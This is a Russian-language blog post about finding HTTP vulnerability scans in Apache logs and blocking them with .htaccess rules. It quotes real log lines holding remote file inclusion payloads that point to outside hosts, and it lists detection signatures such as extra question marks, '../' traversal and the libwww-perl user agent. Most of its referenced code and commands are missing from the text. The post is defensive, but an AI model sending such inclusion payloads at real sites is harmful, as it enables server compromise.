Минимизируем неприятные последствия HTTP-сканирования

Защищаем сайт от HTTP-сканеров

Анализируя логи Апача после полуторамесячного отпуска, я обратил внимание на то, что попыток сканирования сайта на уязвимости стало гораздо больше (сравнивая, например, с летом). Я решил проанализировать все попытки и попытаться найти решение, которое держало бы юных хакеров подальше от сайта.

Если Вы всё еще читаете , то скажу, что практическая реализация моего решения требует наличие доступа на запись только к файлу .htaccess, поэтому всё должно работать даже на общем хостинге.

Начнём с объяснения, что я имею в виду под HTTP-сканированием. Под HTTP-сканированием я имею в виду попытки найти уязвимые компоненты сайта методом проб и ошибок. Например:

В логах мы видим, что некто 80.93.57.226 (этот адрес принадлежит PeterHost.Ru Hosting Provider) обходит сайт, пытаясь найти какую-то уязвимость (sorry, не знаю, какую) в результате которой скрипт выполнил бы файл http://www.mykr.net/bbs/id.txt.

Вряд ли этот файл долго проживёт, поэтому я приведу его код и объясню, что он делает:

Если скопировать этот файл на локальный компьютер и выполнить его, получится что-то вроде этого:

Я запускал скрипт из командной строки, поэтому он не смог определить параметры, относящиеся к HTTP-серверу.

Итак, что же даёт атакующему эта, казалось бы, безобидная информация? Информацию. О том, какая версия ядра установлена, какая версия Apache и PHP, uptime системы (помогает в случае обхода time based authentication, но это детали), адрес сервера. Зная подобную информацию, можно поискать эксплоит под конкретную версию программного обеспечения.

Даже если скрипт не выполнится, атакующий всё равно может получить некоторую информацию о системе. Например, CMS Typo3 частично подвержена данной уязвимости:

Атакующий получает возможность узнать, какое ПО стоит (в нашем случае это Typo3) и полный путь к ней (на многих хостингах этот путь включает имя пользователя).

Если же скрипт выполнится, это означает, что всё очень плохо: если смог выполниться простой безобидный скрипт, может выполниться и какой-нибудь шелл. Если у Вас выделенный сервер, он сможет пополнить ряды очередного ботнета.

Сканирование может быть не таким явным: например,

Так как я знаю, что у меня на сервере подобных файлов нет и быть не могло, я понимаю, что здесь что-то нечисто: ovsswr.dll — это Microsoft SharePoint Team Services; на подобный скан есть две точки зрения:

1. It is an attempt to gain admin rights (hack).

2. You're being visited by a user who has installed Microsoft Office and Internet Explorer, and who has enabled the "Discuss" toolbar in his browser. When that toolbar is enabled, the browser will automatically query for these two files when visiting each site, to determine whether the Office Server Extensions are installed.

   If you are on a Windows server, you can install Office Server Extensions (available in Office 2000) and then the /MSOffice/cltreq.asp path will contain a valid file, allowing visitors to discuss content. Wouldn't that be neat?

У каждого свой уровень паранойи (my paranoia is probably worse), так что смотрите сами.

Идём дальше. Зачастую хакеры (или скрипт-киддисы) сканируют сайты на наличие известных дыр, таких как SQL injection. Например, запрос

пытается использовать уязвимость плагина WassUp; в случае успеха он выдаст атакующему логины и хэш паролей пользователей.

Частыми гостями в логе nginx являются запросы вида

Запросы рассчитаны на ошибки в реализациях прокси-серверов.

Теперь переходим к вопросам анализа и противодействия.

Если Ваша хостинговая компания предоставляет вам доступ к логам Апача, Вы можете попытаться обнаружить попытки сканирования самостоятельно: для этого Вам надо найти все запросы, на которые сервер вернул код ошибки 404:

Если на сайте есть битые ссылки, то в логе будет много мусора. Его можно отфильтровать при помощи grep -v, я не буду на этом подробно останавливаться.

Для определения IP-адресов и количества полученных ответов 404 можно воспользоваться такой командой:

Если на IP-адрес приходится небольшое число ответов 404, такие адреса можно, скорее всего игнорировать. Допустим, если нам интересны только IP-адреса, сгенерировавшие не менее ста ответов 404, нам поможет такая команда (Linux rules, однозначно):

Файл filtered.txt будет содержать интересующие нас запросы.

Проанализировав свой файл, я пришел к следующим результатам:

• практически все запросы (query string), ориентированные на попытку выполнения удалённого (remote) скрипта, содержат в себе как минимум один лишний знак вопроса, например:

  //?_SERVER[DOCUMENT_ROOT]=http://www.mykr.net/bbs/id.txt?
  /sub.php?sub=http://61.19.234.26/test.txt???
  /admin.php?include_path=http://zionuccarendtsville.org/plugins/spamx/language/COPYRIGHT.txt??
  

  Первый знак вопроса означает начало строки запроса, а вот последний знак вопроса по всем правилам должен записываться как %3F. Я не знаю, зачем люди так сделали, но это отличная сигнатура для поиска;
• запросы, ищущие уязвимости в реализации прокси, имеют вид GET http://... или GET /http://.... Тоже достаточно просто отловить.
• из-за какого-то бага в реализации сканера, во многих запросах встречается удвоенный (а иногда даже утроенный) слэш:

  203.177.42.133 - - [22/Jul/2008:10:21:16 +0300] "GET /sitemap.xml///safehtml/safehtml.php?dir[plugins]=http://www.brazebo.it/echo.txt???? HTTP/1.1"
  86.109.96.134 - - [02/Aug/2008:23:53:53 +0300] "GET /sitemap.xml//wp-pass.php?_wp_http_referer=http://www.sv-haslach.com/modules/.../sistem.txt??? HTTP/1.1"
  

  Удвоенный еще куда ни шло, но утроенный — это перебор;
• у 85% процентов сканеров User-Agent установлен в libwww-perl (ибо Perl — истинно хакерский язык);
• сканеры, использующие уязвимости для обходафайловой системы, имеют в теле запроса сигнатуры ../ (Linux/Windows) и/или ..\ (Windows). Тоже легко ловится;
• как правило, большинство сканеров начинают обход с корня сайта: поиск уязвимостей производится методом проб и ошибок: вернул сервер 404? Ладно, пробуем следующий файл. Если же сервер для корня возвращает 403 Forbidden, сканеры обычно прекращают попытки (исключение составляют те сканеры, которые предварительно обходят весь сайт).

Проблема заключается в том, что если сканер начал искать уязвимости, то рано или позно он их может найти. А это именно то, что мы хотим избежать.

А теперь, собственно, решение. Открываем файл .htaccess и добавляем в него строки (желательно в самое начало):

Первый RewriteCond рассчитан на ботов, которые используют слишком много знаков вопроса, второй — на тех, кто пытается сделать обход файловой системы, третий — на тех, кто перебарщивает со слэшами и четвёртый — на тех, кто пытается найти уязвимый прокси.

Данное решение не является панацеей, но, тем не менее, довольно действенное.

Есть одно очень радикальное средство: запретить доступ всем libwww-perl:

Update: весьма полезная статья, о том, как блокировать нежелательных посетителей при помощи mod_rewrite.

Связанные записи

• Водка с феназепамом? Или всё-таки правда? (21)
• Безопасность, о которой все так много говорят… (12)
• Уязвимость в форуме SMF (2)
• Уязвимости oDesk (2)
• Простой DoS для PHP (3)